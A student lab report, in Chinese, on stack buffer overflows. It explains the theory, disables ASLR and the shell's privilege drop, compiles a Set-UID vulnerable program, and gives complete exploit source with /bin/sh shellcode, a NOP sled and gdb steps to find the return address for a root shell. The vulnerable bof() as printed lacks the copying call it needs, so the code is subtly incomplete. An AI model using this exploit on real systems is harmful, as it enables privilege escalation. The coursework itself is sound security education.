20181322 缓冲区溢出
一、了解缓冲区溢出及其原理
缓冲区溢出是什么?
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患,操作系统所使用的缓冲区,又被称为"堆栈"。在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
缓冲区溢出攻击及其原理:
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
这也是稍后做题的突破原理,缓冲区漏洞普遍并且易于实现,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。
大多数的缓冲溢出攻击都是通过改变程序运行的流程到入侵者植入的恶意代码,其主要目的是为了获取超级用户的shell。
原理相当简单:将恶意指令存放在buffer中,这段指令可以得到 进程的控制权,从而达到攻击的目的。
二、实验楼实验
1.下载必要的环境组建:
sudo apt-get update sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev sudo apt-get install -y python3.6-gdbm gdb
2.初始设置
关闭地址随机化:Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。
因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash
中实现
sudo su cd /bin rm sh ln -s zsh sh exit
进入32位linux环境:
3.漏洞程序
在 /tmp
目录下新建一个 stack.c
文件:
cd /tmp
vim stack.c
stack.c
#include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
编译该程序及设置 SET-UID:
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector
关闭这种机制。 而 -z execstack
用于允许执行栈。
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
4.攻击程序
我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root
权限。
在 /tmp
目录下新建一个 exploit.c
文件,输入如下内容:
#include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; memset(&buffer, 0x90, 517); strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer + 100, shellcode); badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
ps:
\x??\x??\x??\x??
处需要添上 shellcode
保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
gdb调试:
gdb stack
disass main
esp 中就是 str 的起始地址,所以我们在地址 0x080484ee
处设置断点.
设置断点:
# 设置断点 b *0x080484ee r i r $esp
根据语句 strcpy(buffer + 100,shellcode);
我们计算 shellcode
的地址为 0xffffcfb0
+ 0x64
= 0xffffd014。
现在修改 exploit.c
文件,将 \x??\x??\x??\x??
修改为计算的结果 \x14\xd0\xff\xff
,注意顺序是反的。
5.攻击结果
gcc -m32 -o exploit exploit.c
./exploit
./stack
三、实验体会
通过这次实验楼的实验,让我亲历了一次缓冲区溢出的操作,打实地编写漏洞文件,观察文件执行中的栈,再通过攻击文件溢出覆盖缓冲区的返回地址,达到实现攻击效果,获取更高权限的目的。这个过程,让我在学习理论知识的基础上,通过实际操作,丰富了对缓冲区溢出攻击的理解,让我们在以后面对此类攻击能做出相应的防范。